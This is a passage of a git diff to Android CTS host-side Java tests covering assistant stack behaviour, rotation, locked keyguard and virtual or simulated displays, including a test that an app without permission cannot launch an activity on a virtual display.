- = mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID);
- mAssistantDisplayId = assistantStack.mDisplayId;
- removeStacks(ASSISTANT_STACK_ID);
- disableAssistant();
- }
-
public void testLaunchingAssistantActivityIntoAssistantStack() throws Exception {
// Enable the assistant and launch an assistant activity
enableAssistant();
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
@@ -75,8 +65,7 @@
}
public void testAssistantStackZOrder() throws Exception {
- if (!supportsPip() || !supportsSplitScreenMultiWindow()
- || !assistantRunsOnPrimaryDisplay()) return;
+ if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
// Launch a pinned stack task
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
@@ -85,8 +74,8 @@
// Dock a task
launchActivity(TEST_ACTIVITY);
launchActivityInDockStack(DOCKED_ACTIVITY);
- mAmWmState.assertHasFullscreenTypeStackOnDisplay("Must contain fullscreen stack.",
- mAssistantDisplayId);
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ FULLSCREEN_WORKSPACE_STACK_ID);
mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
// Enable the assistant and launch an assistant activity, ensure it is on top
@@ -108,12 +97,12 @@
}
public void testAssistantStackLaunchNewTaskWithDockedStack() throws Exception {
- if (!supportsSplitScreenMultiWindow() || !assistantRunsOnPrimaryDisplay()) return;
+ if (!supportsSplitScreenMultiWindow()) return;
// Dock a task
launchActivity(TEST_ACTIVITY);
launchActivityInDockStack(DOCKED_ACTIVITY);
- mAmWmState.assertHasFullscreenTypeStackOnDisplay("Must contain fullscreen stack.",
- mAssistantDisplayId);
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ FULLSCREEN_WORKSPACE_STACK_ID);
mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
enableAssistant();
@@ -124,17 +113,17 @@
private void assertAssistantStackCanLaunchAndReturnFromNewTask() throws Exception {
// Enable the assistant and launch an assistant activity which will launch a new task
enableAssistant();
- launchActivityOnDisplay(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK, mAssistantDisplayId,
- EXTRA_LAUNCH_NEW_TASK, TEST_ACTIVITY,
- EXTRA_ASSISTANT_DISPLAY_ID, Integer.toString(mAssistantDisplayId));
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_LAUNCH_NEW_TASK, TEST_ACTIVITY);
disableAssistant();
// Ensure that the fullscreen stack is on top and the test activity is now visible
mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
- mAmWmState.assertActivityInFullscreenTypeStack(
- "TestActivity should go on a suitable fullscreen-type stack.",
- TEST_ACTIVITY);
+ mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
+ FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
+ FULLSCREEN_WORKSPACE_STACK_ID);
// Now, tell it to finish itself and ensure that the assistant stack is brought back forward
executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH_SELF);
@@ -146,7 +135,7 @@
public void testAssistantStackFinishToPreviousApp() throws Exception {
// Launch an assistant activity on top of an existing fullscreen activity, and ensure that
// the fullscreen activity is still visible and on top after the assistant activity finishes
- launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
+ launchActivity(TEST_ACTIVITY);
enableAssistant();
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_FINISH_SELF, "true");
@@ -154,9 +143,10 @@
mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY, STATE_RESUMED);
mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
- mAmWmState.assertActivityInFullscreenTypeStack(
- "TestActivity should go on a suitable fullscreen-type stack.",
- TEST_ACTIVITY);
+ mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
+ FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
+ FULLSCREEN_WORKSPACE_STACK_ID);
}
public void testDisallowEnterPiPFromAssistantStack() throws Exception {
@@ -175,30 +165,51 @@
launchHomeActivity();
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
assertAssistantStackExists();
- mAmWmState.assertHomeActivityVisible(true);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true);
+ }
// Launch a fullscreen app and then launch the assistant and check to see that it is
// also visible
removeStacks(ASSISTANT_STACK_ID);
- launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
+ launchActivity(TEST_ACTIVITY);
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
assertAssistantStackExists();
mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+ // Go home, launch assistant, launch app into fullscreen with activity present, and go back.
+ // Ensure home is visible.
+ removeStacks(ASSISTANT_STACK_ID);
+ launchHomeActivity();
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_IS_TRANSLUCENT, String.valueOf(true), EXTRA_LAUNCH_NEW_TASK,
+ TEST_ACTIVITY);
+ mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(false);
+ }
+ pressBackButton();
+ mAmWmState.waitForFocusedStack(mDevice, ASSISTANT_STACK_ID);
+ assertAssistantStackExists();
+ if (!noHomeScreen()) {
+ mAmWmState.waitForHomeActivityVisible(mDevice);
+ mAmWmState.assertHomeActivityVisible(true);
+ }
+
// Launch a fullscreen and docked app and then launch the assistant and check to see that it
- // is also visible.
- if (supportsSplitScreenMultiWindow() && assistantRunsOnPrimaryDisplay()) {
+ // is also visible
+ if (supportsSplitScreenMultiWindow()) {
removeStacks(ASSISTANT_STACK_ID);
launchActivityInDockStack(DOCKED_ACTIVITY);
launchActivity(TEST_ACTIVITY);
mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
assertAssistantStackExists();
mAmWmState.assertVisibility(DOCKED_ACTIVITY, true);
mAmWmState.assertVisibility(TEST_ACTIVITY, true);
@@ -210,7 +221,7 @@
enableAssistant();
// Launch the assistant
- launchActivityOnDisplay(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION, mAssistantDisplayId);
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
assertAssistantStackExists();
mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
mAmWmState.assertFocusedStack("Expected assistant stack focused", ASSISTANT_STACK_ID);
@@ -220,11 +231,11 @@
// Launch a new fullscreen activity
// Using Animation Test Activity because it is opaque on all devices.
- launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, mAssistantDisplayId);
+ launchActivity(ANIMATION_TEST_ACTIVITY);
mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, false);
// Launch the assistant again and ensure that it goes into the same task
- launchActivityOnDisplay(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION, mAssistantDisplayId);
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
assertAssistantStackExists();
mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
mAmWmState.assertFocusedStack("Expected assistant stack focused", ASSISTANT_STACK_ID);
@@ -235,10 +246,24 @@
disableAssistant();
}
- // Any 2D Activity in VR mode is run on a special VR virtual display, so check if the Assistant
- // is going to run on the same display as other tasks.
- protected boolean assistantRunsOnPrimaryDisplay() {
- return mAssistantDisplayId == DEFAULT_DISPLAY_ID;
+ public void testPinnedStackWithAssistant() throws Exception {
+ if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
+
+ enableAssistant();
+
+ // Launch a fullscreen activity and a PIP activity, then launch the assistant, and ensure
+ // that the test activity is still visible
+ launchActivity(TEST_ACTIVITY);
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+ EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+ mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ assertAssistantStackExists();
+ mAmWmState.assertVisibility(TRANSLUCENT_ASSISTANT_ACTIVITY, true);
+ mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+ disableAssistant();
}
/**
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
index 7e2e53e..7b6dfd8 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
@@ -52,11 +52,21 @@
}
public void testRotation180Relaunch() throws Exception {
+ if (hasDisplayCutout()) {
+ // Skip case in CTS 8.1
+ // Skipping test: display cutout present, can't predict exact lifecycle"
+ return;
+ }
// Should receive nothing
testRotation(TEST_ACTIVITY_NAME, 2, 0, 0);
}
public void testRotation180NoRelaunch() throws Exception {
+ if (hasDisplayCutout()) {
+ // Skip case in CTS 8.1
+ // Skipping test: display cutout present, can't predict exact lifecycle"
+ return;
+ }
// Should receive nothing
testRotation(NO_RELAUNCH_ACTIVITY_NAME, 2, 0, 0);
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
index 826aded..1e8c5a1 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
@@ -42,8 +42,7 @@
@Override
protected void tearDown() throws Exception {
try {
- removeLockCredential();
- gotoKeyguard();
+ tearDownLockCredentials();
} catch (DeviceNotAvailableException e) {
logE(e.getMessage());
}
@@ -54,7 +53,7 @@
* Test that virtual display content is hidden when device is locked.
*/
public void testVirtualDisplayHidesContentWhenLocked() throws Exception {
- if (!supportsMultiDisplay() || !supportsKeyguard()) { return; }
+ if (!supportsMultiDisplay() || !isHandheld()) { return; }
// Create new usual virtual display.
final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
index fa0320c..cc0a257 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
@@ -48,6 +48,7 @@
private static final int INVALID_DENSITY_DPI = -1;
private boolean mVirtualDisplayCreated;
+ private boolean mDisplaySimulated;
/** Temp storage used for parsing. */
final LinkedList<String> mDumpLines = new LinkedList<>();
@@ -57,6 +58,7 @@
protected void tearDown() throws Exception {
try {
destroyVirtualDisplays();
+ destroySimulatedDisplays();
} catch (DeviceNotAvailableException e) {
logE(e.getMessage());
}
@@ -193,6 +195,10 @@
return mDisplayStates.get(displayId);
}
+ int getNumberOfDisplays() {
+ return mDisplayStates.size();
+ }
+
/** Return the display state with width, height, dpi */
DisplayState getDisplayState(int width, int height, int dpi) {
for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
@@ -253,7 +259,7 @@
}
/** Find the display that was not originally reported in oldDisplays and added in newDisplays */
- private List<ActivityManagerDisplayTests.DisplayState> findNewDisplayStates(
+ protected List<ActivityManagerDisplayTests.DisplayState> findNewDisplayStates(
ReportedDisplays oldDisplays, ReportedDisplays newDisplays) {
final ArrayList<DisplayState> displays = new ArrayList();
@@ -271,6 +277,9 @@
* @param densityDpi provide custom density for the display.
* @param launchInSplitScreen start {@link VirtualDisplayActivity} to side from
* {@link LaunchingActivity} on primary display.
+ * @param canShowWithInsecureKeyguard allow showing content when device is showing an insecure
+ * keyguard.
+ * @param mustBeCreated should assert if the display was or wasn't created.
* @param publicDisplay make display public.
* @param resizeDisplay should resize display when surface size changes.
* @param launchActivity should launch test activity immediately after display creation.
@@ -278,8 +287,9 @@
* @throws Exception
*/
private List<ActivityManagerDisplayTests.DisplayState> createVirtualDisplays(int densityDpi,
- boolean launchInSplitScreen, boolean publicDisplay, boolean resizeDisplay,
- String launchActivity, int displayCount) throws Exception {
+ boolean launchInSplitScreen, boolean canShowWithInsecureKeyguard, boolean mustBeCreated,
+ boolean publicDisplay, boolean resizeDisplay, String launchActivity, int displayCount)
+ throws Exception {
// Start an activity that is able to create virtual displays.
if (launchInSplitScreen) {
getLaunchActivityBuilder().setToSide(true)
@@ -290,23 +300,57 @@
mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY},
false /* compareTaskAndStackBounds */);
final ActivityManagerDisplayTests.ReportedDisplays originalDS = getDisplaysStates();
- final int originalDisplayCount = originalDS.mDisplayStates.size();
// Create virtual display with custom density dpi.
- executeShellCommand(getCreateVirtualDisplayCommand(densityDpi, publicDisplay, resizeDisplay,
- launchActivity, displayCount));
+ executeShellCommand(getCreateVirtualDisplayCommand(densityDpi, canShowWithInsecureKeyguard,
+ publicDisplay, resizeDisplay, launchActivity, displayCount));
mVirtualDisplayCreated = true;
- // Wait for the virtual display to be created and get configurations.
- final ActivityManagerDisplayTests.ReportedDisplays ds =
- getDisplayStateAfterChange(originalDisplayCount + displayCount);
- assertEquals("New virtual display must be created",
- originalDisplayCount + displayCount, ds.mDisplayStates.size());
+ return assertAndGetNewDisplays(mustBeCreated ? displayCount : -1, originalDS);
+ }
- // Find the newly added display.
+ /**
+ * Simulate new display.
+ * @param densityDpi provide custom density for the display.
+ * @return {@link ActivityManagerDisplayTests.DisplayState} of newly created display.
+ */
+ private List<ActivityManagerDisplayTests.DisplayState> simulateDisplay(int densityDpi)
+ throws Exception {
+ final ActivityManagerDisplayTests.ReportedDisplays originalDs = getDisplaysStates();
+
+ // Create virtual display with custom density dpi.
+ executeShellCommand(getSimulateDisplayCommand(densityDpi));
+ mDisplaySimulated = true;
+
+ return assertAndGetNewDisplays(1, originalDs);
+ }
+
+ /**
+ * Wait for desired number of displays to be created and get their properties.
+ * @param newDisplayCount expected display count, -1 if display should not be created.
+ * @param originalDS display states before creation of new display(s).
+ */
+ private List<ActivityManagerDisplayTests.DisplayState> assertAndGetNewDisplays(
+ int newDisplayCount, ActivityManagerDisplayTests.ReportedDisplays originalDS)
+ throws Exception {
+ final int originalDisplayCount = originalDS.mDisplayStates.size();
+
+ // Wait for the display(s) to be created and get configurations.
+ final ActivityManagerDisplayTests.ReportedDisplays ds =
+ getDisplayStateAfterChange(originalDisplayCount + newDisplayCount);
+ if (newDisplayCount != -1) {
+ assertEquals("New virtual display(s) must be created",
+ originalDisplayCount + newDisplayCount, ds.mDisplayStates.size());
+ } else {
+ assertEquals("New virtual display must not be created",
+ originalDisplayCount, ds.mDisplayStates.size());
+ return null;
+ }
+
+ // Find the newly added display(s).
final List<ActivityManagerDisplayTests.DisplayState> newDisplays
= findNewDisplayStates(originalDS, ds);
- assertTrue("New virtual display must be created", displayCount == newDisplays.size());
+ assertTrue("New virtual display must be created", newDisplayCount == newDisplays.size());
return newDisplays;
}
@@ -321,14 +365,27 @@
}
}
+ /**
+ * Destroy existing simulated display.
+ */
+ private void destroySimulatedDisplays() throws Exception {
+ if (mDisplaySimulated) {
+ executeShellCommand(getDestroySimulatedDisplayCommand());
+ mDisplaySimulated = false;
+ }
+ }
+
static class VirtualDisplayBuilder {
private final ActivityManagerDisplayTestBase mTests;
private int mDensityDpi = CUSTOM_DENSITY_DPI;
private boolean mLaunchInSplitScreen = false;
+ private boolean mCanShowWithInsecureKeyguard = false;
private boolean mPublicDisplay = false;
private boolean mResizeDisplay = true;
private String mLaunchActivity = null;
+ private boolean mSimulateDisplay = false;
+ private boolean mMustBeCreated = true;
public VirtualDisplayBuilder(ActivityManagerDisplayTestBase tests) {
mTests = tests;
@@ -344,6 +401,12 @@
return this;
}
+ public VirtualDisplayBuilder setCanShowWithInsecureKeyguard(
+ boolean canShowWithInsecureKeyguard) {
+ mCanShowWithInsecureKeyguard = canShowWithInsecureKeyguard;
+ return this;
+ }
+
public VirtualDisplayBuilder setPublicDisplay(boolean publicDisplay) {
mPublicDisplay = publicDisplay;
return this;
@@ -359,19 +422,35 @@
return this;
}
+ public VirtualDisplayBuilder setSimulateDisplay(boolean simulateDisplay) {
+ mSimulateDisplay = simulateDisplay;
+ return this;
+ }
+
+ public VirtualDisplayBuilder setMustBeCreated(boolean mustBeCreated) {
+ mMustBeCreated = mustBeCreated;
+ return this;
+ }
+
public DisplayState build() throws Exception {
final List<DisplayState> displays = build(1);
return displays != null && !displays.isEmpty() ? displays.get(0) : null;
}
public List<DisplayState> build(int count) throws Exception {
- return mTests.createVirtualDisplays(mDensityDpi, mLaunchInSplitScreen, mPublicDisplay,
- mResizeDisplay, mLaunchActivity, count);
+ if (mSimulateDisplay) {
+ return mTests.simulateDisplay(mDensityDpi);
+ }
+
+ return mTests.createVirtualDisplays(mDensityDpi, mLaunchInSplitScreen,
+ mCanShowWithInsecureKeyguard, mMustBeCreated, mPublicDisplay, mResizeDisplay,
+ mLaunchActivity, count);
}
}
- private static String getCreateVirtualDisplayCommand(int densityDpi, boolean publicDisplay,
- boolean resizeDisplay, String launchActivity, int displayCount) {
+ private static String getCreateVirtualDisplayCommand(int densityDpi,
+ boolean canShowWithInsecureKeyguard, boolean publicDisplay, boolean resizeDisplay,
+ String launchActivity, int displayCount) {
final StringBuilder commandBuilder
= new StringBuilder(getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY));
commandBuilder.append(" -f 0x20000000");
@@ -380,6 +459,8 @@
commandBuilder.append(" --ei density_dpi ").append(densityDpi);
}
commandBuilder.append(" --ei count ").append(displayCount);
+ commandBuilder.append(" --ez can_show_with_insecure_keyguard ")
+ .append(canShowWithInsecureKeyguard);
commandBuilder.append(" --ez public_display ").append(publicDisplay);
commandBuilder.append(" --ez resize_display ").append(resizeDisplay);
if (launchActivity != null) {
@@ -393,6 +474,14 @@
" --es command destroy_display";
}
+ private static String getSimulateDisplayCommand(int densityDpi) {
+ return "settings put global overlay_display_devices 1024x768/" + densityDpi;
+ }
+
+ private static String getDestroySimulatedDisplayCommand() {
+ return "settings delete global overlay_display_devices";
+ }
+
/** Wait for provided number of displays and report their configurations. */
ReportedDisplays getDisplayStateAfterChange(int expectedDisplayCount)
throws DeviceNotAvailableException {
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
index c8e327e..1d4a699 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
@@ -16,10 +16,13 @@
package android.server.cts;
import android.platform.test.annotations.Presubmit;
+import android.server.displayservice.DisplayHelper;
import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.Collections;
import java.util.LinkedList;
import java.util.List;
@@ -27,7 +30,9 @@
import java.util.regex.Pattern;
import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.cts.ActivityManagerState.STATE_PAUSED;
import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+import static android.server.cts.ActivityManagerState.STATE_STOPPED;
import static android.server.cts.StateLogger.log;
import static android.server.cts.StateLogger.logE;
@@ -35,6 +40,7 @@
* Build: mmma -j32 cts/hostsidetests/services
* Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDisplayTests
*/
+@CddTest(requirement="3.2.4/C-1-2")
public class ActivityManagerDisplayTests extends ActivityManagerDisplayTestBase {
private static final String WM_SIZE = "wm size";
private static final String WM_DENSITY = "wm density";
@@ -44,12 +50,17 @@
private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
private static final String SECOND_ACTIVITY_NAME = "SecondActivity";
+ private static final String SECOND_ACTIVITY_NO_EMBEDDING_NAME = "SecondActivityNoEmbedding";
private static final String THIRD_ACTIVITY_NAME = "ThirdActivity";
private static final String VR_TEST_ACTIVITY_NAME = "VrTestActivity";
+ private static final String SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME = "ShowWhenLockedAttrActivity";
private static final String SECOND_PACKAGE_NAME = "android.server.cts.second";
private static final String THIRD_PACKAGE_NAME = "android.server.cts.third";
private static final String VR_UNIQUE_DISPLAY_ID =
"virtual:android:277f1a09-b88d-4d1e-8716-796f114d080b";
+ private static final String VR_STANDALONE_DEVICE_PROPERTY = "ro.boot.vr";
+
+ private DisplayHelper mExternalDisplayHelper;
/** Physical display metrics and overrides in the beginning of the test. */
private ReportedDisplayMetrics mInitialDisplayMetrics;
@@ -63,7 +74,7 @@
protected void setUp() throws Exception {
super.setUp();
mInitialDisplayMetrics = getDisplayMetrics();
- mVrHeadset = isUiModeLockedToVrHeadset();
+ mVrHeadset = isVrHeadset();
final DisplayState vrDisplay = getDisplaysStates().getDisplayState(VR_UNIQUE_DISPLAY_ID);
mVrVirtualDisplayId = mVrHeadset ? vrDisplay.mDisplayId : -1;
}
@@ -73,6 +84,11 @@
try {
enablePersistentVrMode(false);
restoreDisplayMetricsOverrides();
+ if (mExternalDisplayHelper != null) {
+ mExternalDisplayHelper.releaseDisplay();
+ mExternalDisplayHelper = null;
+ }
+ setPrimaryDisplayState(true);
} catch (DeviceNotAvailableException e) {
logE(e.getMessage());
}
@@ -96,6 +112,18 @@
}
}
+ private boolean isVrHeadset() {
+ try {
+ if ("1".equals(mDevice.getProperty(VR_STANDALONE_DEVICE_PROPERTY))) {
+ return true;
+ }
+
+ return false;
+ } catch (DeviceNotAvailableException e) {
+ return false;
+ }
+ }
+
private void restoreDisplayMetricsOverrides() throws Exception {
if (mInitialDisplayMetrics.sizeOverrideSet) {
executeShellCommand(WM_SIZE + " " + mInitialDisplayMetrics.overrideWidth + "x"
@@ -388,6 +416,7 @@
* Tests launching a non-resizeable activity on virtual display. It should land on the
* default display.
*/
+ @CddTest(requirement="3.2.4/C-2-1")
public void testLaunchNonResizeableActivityOnSecondaryDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -446,6 +475,7 @@
* Tests moving a non-resizeable activity to a virtual display. It should land on the default
* display.
*/
+ @CddTest(requirement="3.2.4/C-2-1")
public void testMoveNonResizeableActivityToSecondaryDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -482,24 +512,27 @@
if (!supportsMultiDisplay()) { return; }
// Create new virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
// Launch activity on new secondary display.
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
- LAUNCHING_ACTIVITY);
+ BROADCAST_RECEIVER_ACTIVITY);
// Check that launching activity is on the secondary display.
int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
ActivityManagerState.ActivityStack frontStack =
mAmWmState.getAmState().getStackById(frontStackId);
assertEquals("Launched activity must be on the secondary display and resumed",
- getActivityComponentName(LAUNCHING_ACTIVITY),
+ getActivityComponentName(BROADCAST_RECEIVER_ACTIVITY),
frontStack.mResumedActivity);
mAmWmState.assertFocusedStack("Focus must be on the secondary display", frontStackId);
// Launch non-resizeable activity from secondary display.
- getLaunchActivityBuilder().setTargetActivityName(NON_RESIZEABLE_ACTIVITY_NAME).execute();
+ executeShellCommand("am broadcast -a trigger_broadcast --ez launch_activity true "
+ + "--ez new_task true --es target_activity " + NON_RESIZEABLE_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
// Check that non-resizeable activity is on the secondary display, because of the resizeable
// root of the task.
@@ -551,10 +584,10 @@
}
/**
- * Tests launching a not embedded activity on virtual display. It should land on the
- * default display.
+ * Tests launching an activity on a virtual display without special permission must not be
+ * allowed.
*/
- public void testLaunchNotEmbeddedOnVirtualDisplay() throws Exception {
+ public void testLaunchWithoutPermissionOnVirtualDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
// Create new virtual display.
@@ -562,34 +595,17 @@
final String logSeparator = clearLogcat();
- // Launch other activity with different uid and check it is launched on primary display.
- final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+ // Try to launch an activity and check it security exception was triggered.
+ final String broadcastTarget = "-a " + SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION"
+ + " -p " + SECOND_PACKAGE_NAME;
final String includeStoppedPackagesFlag = " -f 0x00000020";
- executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
- + " --ei target_display " + newDisplay.mDisplayId + includeStoppedPackagesFlag
+ executeShellCommand("am broadcast " + broadcastTarget
+ + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
+ " --es package_name " + componentName
- + " --es target_activity " + TEST_ACTIVITY_NAME);
+ + " --ei display_id " + newDisplay.mDisplayId
+ + includeStoppedPackagesFlag);
- int tries = 0;
- boolean match = false;
- final Pattern pattern = Pattern.compile(".*SecurityException launching activity.*");
- while (tries < 5 && !match) {
- String[] logs = getDeviceLogsForComponent("LaunchBroadcastReceiver", logSeparator);
- for (String line : logs) {
- Matcher m = pattern.matcher(line);
- if (m.matches()) {
- match = true;
- break;
- }
- }
- tries++;
- try {
- Thread.sleep(500);
- } catch (InterruptedException e) {
- }
- }
-
- assertTrue("Expected exception not found", match);
+ assertSecurityException("LaunchBroadcastReceiver", logSeparator);
mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
assertFalse("Restricted activity must not be launched",
@@ -597,10 +613,42 @@
}
/**
+ * Tests launching an activity on a virtual display without special permission must be allowed
+ * for activities with same UID.
+ */
+ public void testLaunchWithoutPermissionOnVirtualDisplayByOwner() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Try to launch an activity and check it security exception was triggered.
+ final String broadcastTarget = "-a " + componentName + ".LAUNCH_BROADCAST_ACTION"
+ + " -p " + componentName;
+ executeShellCommand("am broadcast " + broadcastTarget
+ + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
+ + " --es package_name " + componentName
+ + " --ei display_id " + newDisplay.mDisplayId);
+
+ mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME);
+
+ final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ final ActivityManagerState.ActivityStack focusedStack = mAmWmState.getAmState()
+ .getStackById(externalFocusedStackId);
+ assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
+ assertEquals("Activity launched by owner must be on external display",
+ externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ }
+
+ /**
* Tests launching an activity on virtual display and then launching another activity via shell
* command and without specifying the display id - the second activity must appear on the
